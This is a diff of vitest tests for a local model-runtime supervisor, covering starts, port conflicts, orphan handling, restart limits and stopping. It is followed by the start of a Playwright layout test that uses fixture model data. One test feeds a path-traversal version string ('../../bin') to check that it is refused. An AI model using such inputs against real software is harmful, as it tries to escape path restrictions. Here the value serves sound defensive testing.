it('answers runtime-start-failed when the child exits at once, with what it printed', async () => {
|
||||
const fake = fakeRuntime({ spawn: { exitsAtOnce: 2 } });
|
||||
const { supervisor } = supervise(fake);
|
||||
const result = await supervisor.start({ port, contextLength: CONTEXT });
|
||||
expect(result).toMatchObject({ ok: false, code: 'runtime-start-failed' });
|
||||
const detail = (result as { detail?: string }).detail ?? '';
|
||||
expect(detail).toContain('exited with code 2');
|
||||
expect(detail).toContain('address already in use');
|
||||
// A start that failed is not a crash to recover from: nothing is started again.
|
||||
await new Promise((resolve) => setTimeout(resolve, 50));
|
||||
expect(children(fake)).toHaveLength(1);
|
||||
expect(supervisor.status()).toMatchObject({ running: false, restarts: 0, gaveUp: false });
|
||||
});
|
||||
|
||||
it('answers runtime-start-failed when a runtime of another version answers', async () => {
|
||||
const fake = fakeRuntime({ version: '0.39.2' });
|
||||
const { supervisor } = supervise(fake, { pin: { ...fake.pin(), version: '0.40.15' } });
|
||||
const result = await supervisor.start({ port, contextLength: CONTEXT });
|
||||
expect(result).toMatchObject({ ok: false, code: 'runtime-start-failed' });
|
||||
expect((result as { detail?: string }).detail).toContain('0.39.2');
|
||||
expect(children(fake)[0].signals).toEqual(['SIGTERM']);
|
||||
});
|
||||
|
||||
it('answers runtime-start-failed when the binary cannot be started at all', async () => {
|
||||
const fake = fakeRuntime();
|
||||
const { supervisor } = supervise(fake, {
|
||||
spawn: () => {
|
||||
throw new Error('spawn EACCES');
|
||||
},
|
||||
});
|
||||
expect(await supervisor.start({ port, contextLength: CONTEXT })).toEqual({
|
||||
ok: false,
|
||||
code: 'runtime-start-failed',
|
||||
detail: 'spawn EACCES',
|
||||
});
|
||||
});
|
||||
|
||||
it('spawns nothing under vitest unless the test injects a spawn', async () => {
|
||||
// No `spawn` and no `fetch` given: the defaults refuse here.
|
||||
const supervisor = createRuntimeSupervisor({ paths, startTimeoutMs: 200 });
|
||||
supervisors.push(supervisor);
|
||||
const result = await supervisor.start({ port, contextLength: CONTEXT });
|
||||
// The refusal itself, not a failed attempt to run a binary that is not there.
|
||||
expect(result).toEqual({
|
||||
ok: false,
|
||||
code: 'runtime-start-failed',
|
||||
detail: 'spawn is not available under vitest: the test must inject its own',
|
||||
});
|
||||
expect(supervisor.status().running).toBe(false);
|
||||
});
|
||||
|
||||
it('gives up a start at once when stop is called while it waits', async () => {
|
||||
const fake = fakeRuntime({ spawn: { neverListens: true } });
|
||||
const { supervisor } = supervise(fake, {
|
||||
startTimeoutMs: 20_000,
|
||||
sleep: () => new Promise((resolve) => setTimeout(resolve, 10)),
|
||||
});
|
||||
const starting = supervisor.start({ port, contextLength: CONTEXT });
|
||||
await until(() => children(fake).length === 1, 'the child to be spawned');
|
||||
const began = Date.now();
|
||||
await supervisor.stop();
|
||||
const result = await starting;
|
||||
expect(result).toMatchObject({ ok: false, code: 'runtime-start-failed' });
|
||||
// Not after the 20 seconds a start may take.
|
||||
expect(Date.now() - began).toBeLessThan(5_000);
|
||||
expect(children(fake)[0].signals).toEqual(['SIGTERM']);
|
||||
expect(supervisor.status().running).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
// ---------- The port ----------
|
||||
|
||||
describe('the port', () => {
|
||||
/** A runtime that listens on `port` already, as an earlier server's would. */
|
||||
async function listeningRuntime(options: FakeOllamaOptions = {}): Promise<FakeOllama> {
|
||||
const other = createFakeOllama(options);
|
||||
fakes.push(other);
|
||||
await other.listen(port);
|
||||
return other;
|
||||
}
|
||||
|
||||
it('answers port-in-use for a runtime that is not ours, and does not touch it', async () => {
|
||||
// The user's own runtime on our port. No pid of ours is stored.
|
||||
const theirs = await listeningRuntime();
|
||||
const fake = fakeRuntime();
|
||||
const { supervisor, kills } = supervise(fake);
|
||||
const result = await supervisor.start({ port, contextLength: CONTEXT });
|
||||
// Told apart from any other program on the port: it answers as a runtime, and is not ours.
|
||||
expect(result).toEqual({
|
||||
ok: false,
|
||||
code: 'port-in-use',
|
||||
detail: `A model runtime that Codeman did not start answers on port ${port} (version 0.40.15)`,
|
||||
});
|
||||
expect(children(fake)).toHaveLength(0);
|
||||
expect(kills).toEqual([]);
|
||||
expect(theirs.listening).toBe(true);
|
||||
expect(supervisor.status().running).toBe(false);
|
||||
});
|
||||
|
||||
it('answers port-in-use when the stored pid now runs something else', async () => {
|
||||
const theirs = await listeningRuntime();
|
||||
const fake = fakeRuntime();
|
||||
const { supervisor, kills } = supervise(fake, {
|
||||
// The pid was reused, or it is a runtime outside our folder.
|
||||
commandOfPid: async () => '/usr/local/bin/ollama serve',
|
||||
});
|
||||
const result = await supervisor.start({ port, contextLength: CONTEXT, previousPid: ORPHAN_PID });
|
||||
expect(result).toMatchObject({ ok: false, code: 'port-in-use' });
|
||||
expect(kills).toEqual([]);
|
||||
expect(theirs.listening).toBe(true);
|
||||
expect(children(fake)).toHaveLength(0);
|
||||
});
|
||||
|
||||
it('answers port-in-use for a listener that is no runtime at all', async () => {
|
||||
// Some other program: it takes the connection and hangs up.
|
||||
const holder = createServer((socket) => socket.destroy());
|
||||
servers.push(holder);
|
||||
await new Promise<void>((resolve) => holder.listen(port, '127.0.0.1', () => resolve()));
|
||||
const fake = fakeRuntime();
|
||||
const { supervisor } = supervise(fake);
|
||||
expect(await supervisor.start({ port, contextLength: CONTEXT })).toEqual({
|
||||
ok: false,
|
||||
code: 'port-in-use',
|
||||
detail: `Another program holds port ${port}`,
|
||||
});
|
||||
expect(children(fake)).toHaveLength(0);
|
||||
});
|
||||
|
||||
it('ADOPTS its own orphan when that holds a loaded model at the wanted context', async () => {
|
||||
const orphan = await listeningRuntime({ installed: true });
|
||||
orphan.state.loaded = true;
|
||||
let gone = false;
|
||||
const fake = fakeRuntime();
|
||||
const { supervisor, kills, changes } = supervise(fake, {
|
||||
commandOfPid: async (pid) => (pid === ORPHAN_PID && !gone ? ownCommand() : undefined),
|
||||
});
|
||||
const result = await supervisor.start({ port, contextLength: CONTEXT, previousPid: ORPHAN_PID });
|
||||
// Kept as it is: nothing spawned, nothing signalled, the loaded model stays loaded.
|
||||
expect(result).toEqual({ ok: true, pid: ORPHAN_PID, port, orphan: 'adopted' });
|
||||
expect(children(fake)).toHaveLength(0);
|
||||
expect(kills).toEqual([]);
|
||||
expect(orphan.listening).toBe(true);
|
||||
// Its log is not ours to read, so there is no measured budget.
|
||||
expect(supervisor.status()).toEqual({
|
||||
running: true,
|
||||
pid: ORPHAN_PID,
|
||||
port,
|
||||
contextLength: CONTEXT,
|
||||
restarts: 0,
|
||||
gaveUp: false,
|
||||
});
|
||||
expect(changes.at(-1)).toMatchObject({ running: true, pid: ORPHAN_PID });
|
||||
// So that the stop after this test finds it gone and does not wait out its grace period.
|
||||
gone = true;
|
||||
});
|
||||
|
||||
it('stops an adopted orphan by its pid', async () => {
|
||||
const orphan = await listeningRuntime({ installed: true });
|
||||
orphan.state.loaded = true;
|
||||
let gone = false;
|
||||
const fake = fakeRuntime();
|
||||
const { supervisor, kills } = supervise(fake, {
|
||||
commandOfPid: async (pid) => (pid === ORPHAN_PID && !gone ? ownCommand() : undefined),
|
||||
kill: (pid, signal) => {
|
||||
kills.push([pid, signal]);
|
||||
gone = true;
|
||||
},
|
||||
});
|
||||
await supervisor.start({ port, contextLength: CONTEXT, previousPid: ORPHAN_PID });
|
||||
await supervisor.stop();
|
||||
expect(kills).toEqual([[ORPHAN_PID, 'SIGTERM']]);
|
||||
expect(supervisor.status()).toEqual({ running: false, restarts: 0, gaveUp: false });
|
||||
});
|
||||
|
||||
/** Starts with an orphan on the port that is ours and goes away when it is signalled. */
|
||||
async function startOverOrphan(orphanOptions: FakeOllamaOptions, loaded: boolean) {
|
||||
const orphan = await listeningRuntime(orphanOptions);
|
||||
orphan.state.loaded = loaded;
|
||||
let gone = false;
|
||||
const fake = fakeRuntime();
|
||||
const harness = supervise(fake, {
|
||||
commandOfPid: async (pid) => (pid === ORPHAN_PID && !gone ? ownCommand() : undefined),
|
||||
kill: (pid, signal) => {
|
||||
harness.kills.push([pid, signal]);
|
||||
gone = true;
|
||||
void orphan.close();
|
||||
},
|
||||
});
|
||||
const result = await harness.supervisor.start({ port, contextLength: CONTEXT, previousPid: ORPHAN_PID });
|
||||
return { orphan, fake, result, ...harness };
|
||||
}
|
||||
|
||||
it('REPLACES its own orphan when that has no model loaded: nothing is lost, and the budget is read again', async () => {
|
||||
const { orphan, fake, result, kills, supervisor } = await startOverOrphan({ installed: true }, false);
|
||||
expect(kills).toEqual([[ORPHAN_PID, 'SIGTERM']]);
|
||||
expect(orphan.listening).toBe(false);
|
||||
expect(children(fake)).toHaveLength(1);
|
||||
expect(result).toEqual({
|
||||
ok: true,
|
||||
pid: children(fake)[0].pid,
|
||||
port,
|
||||
orphan: 'replaced',
|
||||
measuredTotalBytes: 40_157_944_217,
|
||||
});
|
||||
expect(supervisor.status()).toMatchObject({ running: true, pid: children(fake)[0].pid });
|
||||
});
|
||||
|
||||
it('replaces its own orphan when the model is loaded at another context', async () => {
|
||||
const { fake, result, kills } = await startOverOrphan({ installed: true, contextLength: 32768 }, true);
|
||||
expect(result).toMatchObject({ ok: true, orphan: 'replaced' });
|
||||
expect(kills).toEqual([[ORPHAN_PID, 'SIGTERM']]);
|
||||
expect(children(fake)[0].env.OLLAMA_CONTEXT_LENGTH).toBe(String(CONTEXT));
|
||||
});
|
||||
|
||||
it('replaces its own orphan when it is another version than the pinned one', async () => {
|
||||
const { fake, result, kills } = await startOverOrphan({ installed: true, version: '0.39.2' }, true);
|
||||
expect(result).toMatchObject({ ok: true, orphan: 'replaced' });
|
||||
expect(kills).toEqual([[ORPHAN_PID, 'SIGTERM']]);
|
||||
expect(children(fake)).toHaveLength(1);
|
||||
});
|
||||
|
||||
it('replaces its own orphan that no longer answers, and starts on the free port', async () => {
|
||||
// The stored pid is a runtime of ours, but nothing listens on the port.
|
||||
let gone = false;
|
||||
const fake = fakeRuntime();
|
||||
const { supervisor, kills } = supervise(fake, {
|
||||
commandOfPid: async (pid) => (pid === ORPHAN_PID && !gone ? ownCommand() : undefined),
|
||||
kill: (pid, signal) => {
|
||||
kills.push([pid, signal]);
|
||||
gone = true;
|
||||
},
|
||||
});
|
||||
const result = await supervisor.start({ port, contextLength: CONTEXT, previousPid: ORPHAN_PID });
|
||||
expect(result).toMatchObject({ ok: true, orphan: 'replaced' });
|
||||
expect(kills).toEqual([[ORPHAN_PID, 'SIGTERM']]);
|
||||
});
|
||||
|
||||
it('never signals a pid whose command is not under our runtime folder', async () => {
|
||||
for (const command of [
|
||||
'/usr/local/bin/ollama serve',
|
||||
`${paths.runtimeRoot}-other/ollama serve`,
|
||||
`/bin/sh -c ${paths.binary} serve`,
|
||||
undefined,
|
||||
]) {
|
||||
const fake = fakeRuntime();
|
||||
const { supervisor, kills } = supervise(fake, { commandOfPid: async () => command });
|
||||
const result = await supervisor.start({ port, contextLength: CONTEXT, previousPid: ORPHAN_PID });
|
||||
expect(result, String(command)).toMatchObject({ ok: true, orphan: 'none' });
|
||||
expect(kills, String(command)).toEqual([]);
|
||||
await supervisor.stop();
|
||||
}
|
||||
});
|
||||
|
||||
it('takes over from an adopted orphan that dies: the next runtime is a child of its own', async () => {
|
||||
const orphan = await listeningRuntime({ installed: true });
|
||||
orphan.state.loaded = true;
|
||||
let gone = false;
|
||||
const fake = fakeRuntime();
|
||||
const { supervisor } = supervise(fake, {
|
||||
commandOfPid: async (pid) => (pid === ORPHAN_PID && !gone ? ownCommand() : undefined),
|
||||
orphanPollMs: 15,
|
||||
});
|
||||
expect(await supervisor.start({ port, contextLength: CONTEXT, previousPid: ORPHAN_PID })).toMatchObject({
|
||||
orphan: 'adopted',
|
||||
});
|
||||
// The orphan dies by itself.
|
||||
await orphan.close();
|
||||
gone = true;
|
||||
await until(() => children(fake).length === 1 && supervisor.status().running, 'a child of our own to run');
|
||||
expect(supervisor.status()).toMatchObject({
|
||||
running: true,
|
||||
pid: children(fake)[0].pid,
|
||||
port,
|
||||
restarts: 1,
|
||||
measuredTotalBytes: 40_157_944_217,
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
// ---------- Restart ----------
|
||||
|
||||
describe('a child that exits by itself', () => {
|
||||
it('is started again, with the same port and context', async () => {
|
||||
const fake = fakeRuntime();
|
||||
const { supervisor, waits, changes } = supervise(fake);
|
||||
await supervisor.start({ port, contextLength: CONTEXT });
|
||||
const first = children(fake)[0];
|
||||
|
||||
first.crash(1);
|
||||
await until(() => children(fake).length === 2 && supervisor.status().running, 'the runtime to run again');
|
||||
|
||||
const second = children(fake)[1];
|
||||
expect(second.env.OLLAMA_HOST).toBe(`127.0.0.1:${port}`);
|
||||
expect(second.env.OLLAMA_CONTEXT_LENGTH).toBe(String(CONTEXT));
|
||||
expect(supervisor.status()).toMatchObject({ running: true, pid: second.pid, restarts: 1, gaveUp: false });
|
||||
// It waited a second before starting it again.
|
||||
expect(waits).toContain(1000);
|
||||
// The caller was told that it stopped, and that it runs again.
|
||||
const running = changes.map((status) => status.running);
|
||||
expect(running.indexOf(false, running.indexOf(true))).toBeGreaterThan(0);
|
||||
expect(running.at(-1)).toBe(true);
|
||||
// Nobody signalled the one that crashed.
|
||||
expect(first.signals).toEqual([]);
|
||||
});
|
||||
|
||||
it('is started again at most 3 times, then given up', async () => {
|
||||
expect(RUNTIME_MAX_RESTARTS).toBe(3);
|
||||
const fake = fakeRuntime();
|
||||
const { supervisor, changes } = supervise(fake);
|
||||
await supervisor.start({ port, contextLength: CONTEXT });
|
||||
|
||||
for (let crash = 1; crash <= 3; crash++) {
|
||||
children(fake).at(-1)?.crash(1);
|
||||
await until(() => children(fake).length === crash + 1 && supervisor.status().running, `restart number ${crash}`);
|
||||
expect(supervisor.status()).toMatchObject({ running: true, restarts: crash, gaveUp: false });
|
||||
}
|
||||
|
||||
// The fourth exit is one too many.
|
||||
children(fake).at(-1)?.crash(1);
|
||||
await until(() => supervisor.status().gaveUp, 'the supervisor to give up');
|
||||
expect(supervisor.status()).toEqual({
|
||||
running: false,
|
||||
port,
|
||||
contextLength: CONTEXT,
|
||||
measuredTotalBytes: 40_157_944_217,
|
||||
restarts: 3,
|
||||
gaveUp: true,
|
||||
});
|
||||
// The first child and three restarts, and no fifth.
|
||||
await new Promise((resolve) => setTimeout(resolve, 60));
|
||||
expect(children(fake)).toHaveLength(4);
|
||||
expect(changes.at(-1)).toMatchObject({ running: false, gaveUp: true, restarts: 3 });
|
||||
});
|
||||
|
||||
it('counts a restart that does not come up as one of the three', async () => {
|
||||
const fake = fakeRuntime();
|
||||
const { supervisor } = supervise(fake, { startTimeoutMs: 100 });
|
||||
await supervisor.start({ port, contextLength: CONTEXT });
|
||||
// From now on the runtime exits as soon as it is started.
|
||||
fake.switches.spawn.exitsAtOnce = 1;
|
||||
children(fake)[0].crash(1);
|
||||
await until(() => supervisor.status().gaveUp, 'the supervisor to give up');
|
||||
expect(children(fake)).toHaveLength(4);
|
||||
expect(supervisor.status()).toMatchObject({ running: false, restarts: 3, gaveUp: true });
|
||||
});
|
||||
|
||||
it('starts counting again after a start that was asked for', async () => {
|
||||
const fake = fakeRuntime();
|
||||
const { supervisor } = supervise(fake, { startTimeoutMs: 100 });
|
||||
await supervisor.start({ port, contextLength: CONTEXT });
|
||||
fake.switches.spawn.exitsAtOnce = 1;
|
||||
children(fake)[0].crash(1);
|
||||
await until(() => supervisor.status().gaveUp, 'the supervisor to give up');
|
||||
|
||||
// The person presses Start: it runs again, and the count is back at 0.
|
||||
fake.switches.spawn.exitsAtOnce = undefined;
|
||||
const result = await supervisor.start({ port, contextLength: CONTEXT });
|
||||
expect(result).toMatchObject({ ok: true, orphan: 'none' });
|
||||
expect(supervisor.status()).toMatchObject({ running: true, restarts: 0, gaveUp: false });
|
||||
});
|
||||
|
||||
it('is not started again once stop was called, also while it waits to restart', async () => {
|
||||
const fake = fakeRuntime();
|
||||
let release: () => void = () => undefined;
|
||||
const { supervisor } = supervise(fake, {
|
||||
// The wait before a restart does not end by itself; the polls of a start still do.
|
||||
sleep: (ms) =>
|
||||
ms === 1000
|
||||
? new Promise<void>((resolve) => {
|
||||
release = resolve;
|
||||
})
|
||||
: Promise.resolve(),
|
||||
});
|
||||
await supervisor.start({ port, contextLength: CONTEXT });
|
||||
children(fake)[0].crash(1);
|
||||
await until(() => supervisor.status().restarts === 1, 'the restart to be scheduled');
|
||||
|
||||
const stopping = supervisor.stop();
|
||||
release();
|
||||
await stopping;
|
||||
await new Promise((resolve) => setTimeout(resolve, 50));
|
||||
expect(children(fake)).toHaveLength(1);
|
||||
expect(supervisor.status()).toEqual({ running: false, restarts: 0, gaveUp: false });
|
||||
});
|
||||
});
|
||||
|
||||
// ---------- Stop ----------
|
||||
|
||||
describe('stop', () => {
|
||||
it('sends the child SIGTERM and resolves once it is gone', async () => {
|
||||
const fake = fakeRuntime();
|
||||
const { supervisor, changes } = supervise(fake);
|
||||
await supervisor.start({ port, contextLength: CONTEXT });
|
||||
const child = children(fake)[0];
|
||||
|
||||
await supervisor.stop();
|
||||
|
||||
expect(child.signals).toEqual(['SIGTERM']);
|
||||
expect(child.signalCode).toBe('SIGTERM');
|
||||
// Gone, and the port is free again.
|
||||
expect(fake.listening).toBe(false);
|
||||
await expect(fetch(`http://127.0.0.1:${port}/api/version`)).rejects.toThrow();
|
||||
expect(supervisor.status()).toEqual({ running: false, restarts: 0, gaveUp: false });
|
||||
expect(changes.at(-1)).toEqual({ running: false, restarts: 0, gaveUp: false });
|
||||
});
|
||||
|
||||
it('does not take the stop for a crash: nothing is started again', async () => {
|
||||
const fake = fakeRuntime();
|
||||
const { supervisor, waits } = supervise(fake);
|
||||
await supervisor.start({ port, contextLength: CONTEXT });
|
||||
await supervisor.stop();
|
||||
await new Promise((resolve) => setTimeout(resolve, 60));
|
||||
expect(children(fake)).toHaveLength(1);
|
||||
expect(waits).not.toContain(1000);
|
||||
});
|
||||
|
||||
it('is safe when nothing runs, and twice in a row', async () => {
|
||||
const fake = fakeRuntime();
|
||||
const { supervisor } = supervise(fake);
|
||||
await supervisor.stop();
|
||||
await supervisor.start({ port, contextLength: CONTEXT });
|
||||
await Promise.all([supervisor.stop(), supervisor.stop()]);
|
||||
await supervisor.stop();
|
||||
expect(children(fake)[0].signals).toEqual(['SIGTERM']);
|
||||
expect(supervisor.status().running).toBe(false);
|
||||
});
|
||||
|
||||
it('can be started again after a stop', async () => {
|
||||
const fake = fakeRuntime();
|
||||
const { supervisor } = supervise(fake);
|
||||
await supervisor.start({ port, contextLength: CONTEXT });
|
||||
await supervisor.stop();
|
||||
const again = await supervisor.start({ port, contextLength: CONTEXT });
|
||||
expect(again).toMatchObject({ ok: true, pid: children(fake)[1].pid, orphan: 'none' });
|
||||
expect(children(fake)).toHaveLength(2);
|
||||
});
|
||||
|
||||
it('kills the child when the server process exits without its shutdown', async () => {
|
||||
// The last resort for a forced exit: a listener on the process, for as long as the child lives.
|
||||
const fake = fakeRuntime();
|
||||
const before = process.listenerCount('exit');
|
||||
const { supervisor } = supervise(fake);
|
||||
await supervisor.start({ port, contextLength: CONTEXT });
|
||||
expect(process.listenerCount('exit')).toBe(before + 1);
|
||||
const child = children(fake)[0] as unknown as ChildProcess & FakeRuntimeChild;
|
||||
|
||||
// What Node does on `process.exit()`: it calls the listeners.
|
||||
const added = process.listeners('exit').at(-1) as () => void;
|
||||
const exited = new Promise<void>((resolve) => child.once('exit', () => resolve()));
|
||||
added();
|
||||
await exited;
|
||||
expect(child.signals).toEqual(['SIGTERM']);
|
||||
// The listener goes with its child. (This process did not really exit, so the supervisor
|
||||
// took the exit for a crash and started another child, which has a listener of its own.)
|
||||
expect(process.listeners('exit')).not.toContain(added);
|
||||
await supervisor.stop();
|
||||
expect(process.listenerCount('exit')).toBe(before);
|
||||
});
|
||||
});
|
||||
|
||||
// ---------- A runtime an earlier server left behind, and the pid that names it ----------
|
||||
|
||||
describe('the pid is told the moment the child is spawned', () => {
|
||||
it('reports it before the child answers, so a server killed during the start leaves a pid', async () => {
|
||||
// The child never answers: the start waits, and is told to stop.
|
||||
const fake = fakeRuntime({ spawn: { neverListens: true } });
|
||||
const { supervisor, changes } = supervise(fake, {
|
||||
startTimeoutMs: 60_000,
|
||||
sleep: () => new Promise((resolve) => setTimeout(resolve, 5)),
|
||||
});
|
||||
const starting = supervisor.start({ port, contextLength: CONTEXT });
|
||||
await until(() => children(fake).length === 1, 'the child to be spawned');
|
||||
await until(() => changes.some((status) => status.pid === children(fake)[0].pid), 'the pid to be reported');
|
||||
const early = changes.find((status) => status.pid === children(fake)[0].pid);
|
||||
// Not running yet: it has not answered.
|
||||
expect(early).toMatchObject({ running: false, pid: children(fake)[0].pid });
|
||||
await supervisor.stop();
|
||||
await starting;
|
||||
// A start that failed leaves no pid behind.
|
||||
expect(supervisor.status()).toEqual({ running: false, restarts: 0, gaveUp: false });
|
||||
});
|
||||
});
|
||||
|
||||
describe('stop with the pid the state file kept', () => {
|
||||
it('ends a runtime of ours that this process never started', async () => {
|
||||
let gone = false;
|
||||
const fake = fakeRuntime();
|
||||
const { supervisor, kills } = supervise(fake, {
|
||||
commandOfPid: async (pid) => (pid === ORPHAN_PID && !gone ? ownCommand() : undefined),
|
||||
kill: (pid, signal) => {
|
||||
kills.push([pid, signal]);
|
||||
gone = true;
|
||||
},
|
||||
});
|
||||
await supervisor.stop({ previousPid: ORPHAN_PID });
|
||||
expect(kills).toEqual([[ORPHAN_PID, 'SIGTERM']]);
|
||||
// Nothing was spawned to do it.
|
||||
expect(children(fake)).toHaveLength(0);
|
||||
});
|
||||
|
||||
it('ends one that runs another version of ours: the folder decides, not the version', async () => {
|
||||
let gone = false;
|
||||
const fake = fakeRuntime();
|
||||
const { supervisor, kills } = supervise(fake, {
|
||||
commandOfPid: async (pid) =>
|
||||
pid === ORPHAN_PID && !gone ? `${runtimeBinaryForVersion(paths, '0.39.2')} serve` : undefined,
|
||||
kill: (pid, signal) => {
|
||||
kills.push([pid, signal]);
|
||||
gone = true;
|
||||
},
|
||||
});
|
||||
await supervisor.stop({ previousPid: ORPHAN_PID });
|
||||
expect(kills).toEqual([[ORPHAN_PID, 'SIGTERM']]);
|
||||
});
|
||||
|
||||
it('never signals a pid that runs something else now, nor one that is gone', async () => {
|
||||
const fake = fakeRuntime();
|
||||
const { supervisor, kills } = supervise(fake, {
|
||||
commandOfPid: async (pid) => (pid === ORPHAN_PID ? '/usr/local/bin/ollama serve' : undefined),
|
||||
});
|
||||
await supervisor.stop({ previousPid: ORPHAN_PID });
|
||||
await supervisor.stop({ previousPid: ORPHAN_PID + 1 });
|
||||
await supervisor.stop({ previousPid: 1 });
|
||||
await supervisor.stop({ previousPid: Number.NaN });
|
||||
expect(kills).toEqual([]);
|
||||
});
|
||||
|
||||
it('stops its own child first, and the stored pid only when it is somebody else', async () => {
|
||||
const fake = fakeRuntime();
|
||||
const { supervisor, kills } = supervise(fake);
|
||||
const started = await supervisor.start({ port, contextLength: CONTEXT });
|
||||
expect(started.ok).toBe(true);
|
||||
await supervisor.stop({ previousPid: children(fake)[0].pid });
|
||||
expect(children(fake)[0].signals).toEqual(['SIGTERM']);
|
||||
// The child is gone by then: its pid names nothing of ours any more.
|
||||
expect(kills).toEqual([]);
|
||||
});
|
||||
});
|
||||
|
||||
describe('start with the version an installed model was installed with', () => {
|
||||
it('runs that version from its own folder and expects it to answer as that version', async () => {
|
||||
const fake = fakeRuntime({ version: '0.39.2' });
|
||||
const { supervisor } = supervise(fake, { pin: { ...fake.pin(), version: '0.40.15' } });
|
||||
const result = await supervisor.start({ port, contextLength: CONTEXT, version: '0.39.2' });
|
||||
expect(result).toMatchObject({ ok: true });
|
||||
expect(children(fake)[0].command).toBe(runtimeBinaryForVersion(paths, '0.39.2'));
|
||||
// Asked again the same way: the child is kept. Asked for the pinned version: replaced.
|
||||
await supervisor.start({ port, contextLength: CONTEXT, version: '0.39.2' });
|
||||
expect(children(fake)).toHaveLength(1);
|
||||
});
|
||||
|
||||
it('a restart after a crash starts the same version again', async () => {
|
||||
const fake = fakeRuntime({ version: '0.39.2' });
|
||||
const { supervisor } = supervise(fake, { pin: { ...fake.pin(), version: '0.40.15' } });
|
||||
await supervisor.start({ port, contextLength: CONTEXT, version: '0.39.2' });
|
||||
children(fake)[0].crash();
|
||||
await until(() => children(fake).length === 2 && supervisor.status().running, 'the restart');
|
||||
expect(children(fake)[1].command).toBe(runtimeBinaryForVersion(paths, '0.39.2'));
|
||||
});
|
||||
|
||||
it('refuses a version that is no version before anything is spawned', async () => {
|
||||
const fake = fakeRuntime();
|
||||
const { supervisor } = supervise(fake);
|
||||
const result = await supervisor.start({ port, contextLength: CONTEXT, version: '../../bin' });
|
||||
expect(result).toMatchObject({ ok: false, code: 'runtime-start-failed' });
|
||||
expect(children(fake)).toHaveLength(0);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,357 @@
|
||||
/**
|
||||
* @fileoverview Real-Chromium coverage for the "Run a model on this Mac" window
|
||||
* (src/web/public/local-model-ui.js): what DOM emulation cannot answer, because it lays nothing
|
||||
* out.
|
||||
*
|
||||
* - the numbers of the model list line up: every row's speed and download size end on the
|
||||
* same edge, under their captions, and every tag starts on the same edge;
|
||||
* - a row is one line on a desktop and two lines under 560px, where nothing runs off the
|
||||
* side and the buttons take the full width;
|
||||
* - the memory bar is 12px high and filled to the selected model's share of its track, and
|
||||
* the fill follows the selection;
|
||||
* - the selected row carries the feature's colour on its reading edge;
|
||||
* - the welcome button is really gone while it is `hidden`, and the window paints above App
|
||||
* Settings.
|
||||
*
|
||||
* The REAL index.html is served with its scripts taken out and the two shipping stylesheets
|
||||
* inlined (mobile.css under the media query its `<link>` carries); the real module runs on a
|
||||
* bare `CodemanApp` whose `_api` answers a fixture payload. The states themselves are pinned in
|
||||
* JSDOM by test/local-model-ui.test.ts.
|
||||
*
|
||||
* Port: none (page.route on a fake origin, no server).
|
||||
*/
|
||||
|
||||
import { readFileSync } from 'node:fs';
|
||||
import { resolve } from 'node:path';
|
||||
import { afterAll, afterEach, beforeAll, describe, expect, it } from 'vitest';
|
||||
import { chromium, type Browser, type Page } from 'playwright';
|
||||
|
||||
const dir = resolve(import.meta.dirname, '../src/web/public');
|
||||
const read = (name: string) => readFileSync(resolve(dir, name), 'utf8');
|
||||
const ORIGIN = 'http://app.test/';
|
||||
|
||||
/**
|
||||
* index.html as shipped, minus every script, with styles.css and mobile.css inlined. The
|
||||
* comments go first: some of them mention a script tag, which would otherwise open a match
|
||||
* that swallows the markup up to the next real one.
|
||||
*/
|
||||
const MARKUP = read('index.html')
|
||||
.replace(/<!--[\s\S]*?-->/g, '')
|
||||
.replace(/<script\b[\s\S]*?<\/script>/g, '');
|
||||
const PAGE = MARKUP.replace(
|
||||
'<link rel="stylesheet" href="styles.css">',
|
||||
() => `<style>${read('styles.css')}</style>`
|
||||
).replace(
|
||||
'<link rel="stylesheet" href="mobile.css" media="(max-width: 1023px)">',
|
||||
() => `<style media="(max-width: 1023px)">${read('mobile.css')}</style>`
|
||||
);
|
||||
|
||||
const RUNTIME = 185971671;
|
||||
|
||||
function row(modelId: string, modelLabel: string, downloadBytes: number, downloadGb: string, over: object = {}) {
|
||||
return {
|
||||
modelId,
|
||||
modelLabel,
|
||||
license: 'Apache-2.0',
|
||||
paramsB: 9,
|
||||
context: 131072,
|
||||
cli: 'opencode',
|
||||
cliLabel: 'OpenCode',
|
||||
cliInstalled: true,
|
||||
needBytes: 1,
|
||||
needGb: '20.0',
|
||||
downloadBytes,
|
||||
downloadGb,
|
||||
budgetShare: 0.5,
|
||||
fit: 'good',
|
||||
fitLabel: 'Good',
|
||||
speed: 'ok',
|
||||
tested: false,
|
||||
needSource: 'estimated',
|
||||
harnesses: [{ cli: 'opencode', cliLabel: 'OpenCode', installed: true }],
|
||||
installBytes: downloadBytes + RUNTIME,
|
||||
installGb: downloadGb,
|
||||
...over,
|
||||
};
|
||||
}
|
||||
|
||||
const STATUS = {
|
||||
hardware: {
|
||||
platform: 'darwin',
|
||||
arch: 'arm64',
|
||||
memBytes: 51539607552,
|
||||
memGb: '51.5',
|
||||
memClassGb: 48,
|
||||
chip: 'Apple M5 Pro',
|
||||
freeDiskBytes: 897000000000,
|
||||
freeDiskGb: '897',
|
||||
source: 'sysctl',
|
||||
},
|
||||
recommendation: {
|
||||
verdict: 'ok',
|
||||
headline: { text: 'Recommended for this Mac' },
|
||||
notes: [],
|
||||
pick: row('qwen3.6:35b-a3b', 'Qwen3.6 35B-A3B', 23105798956, '23.1', {
|
||||
needGb: '36.0',
|
||||
budgetShare: 0.957,
|
||||
tokensPerSecond: 67.7,
|
||||
tested: true,
|
||||
tag: { kind: 'tested', label: 'Tested on a Mac like this' },
|
||||
}),
|
||||
alternatives: [
|
||||
row('qwen3.8:27b', 'Qwen3.8 27B', 17741871939, '17.7', {
|
||||
needGb: '30.6',
|
||||
budgetShare: 0.814,
|
||||
tokensPerSecond: 9.1,
|
||||
tag: { kind: 'slow', label: 'Slow' },
|
||||
}),
|
||||
row('gpt-oss:20b', 'GPT-OSS 20B', 13793441427, '13.8', { needGb: '26.6', budgetShare: 0.709, speed: 'unknown' }),
|
||||
row('qwen3.5:9b', 'Qwen3.5 9B', 6550825373, '6.6', {
|
||||
needGb: '17.0',
|
||||
budgetShare: 0.25,
|
||||
tokensPerSecond: 28.6,
|
||||
tag: { kind: 'small', label: 'Small model' },
|
||||
}),
|
||||
],
|
||||
budgetBytes: 37580963840,
|
||||
budgetGb: '37.6',
|
||||
budgetSource: 'estimated',
|
||||
},
|
||||
catalogUpdated: '2026-11-06',
|
||||
install: {
|
||||
state: 'idle',
|
||||
running: false,
|
||||
developerTools: 'present',
|
||||
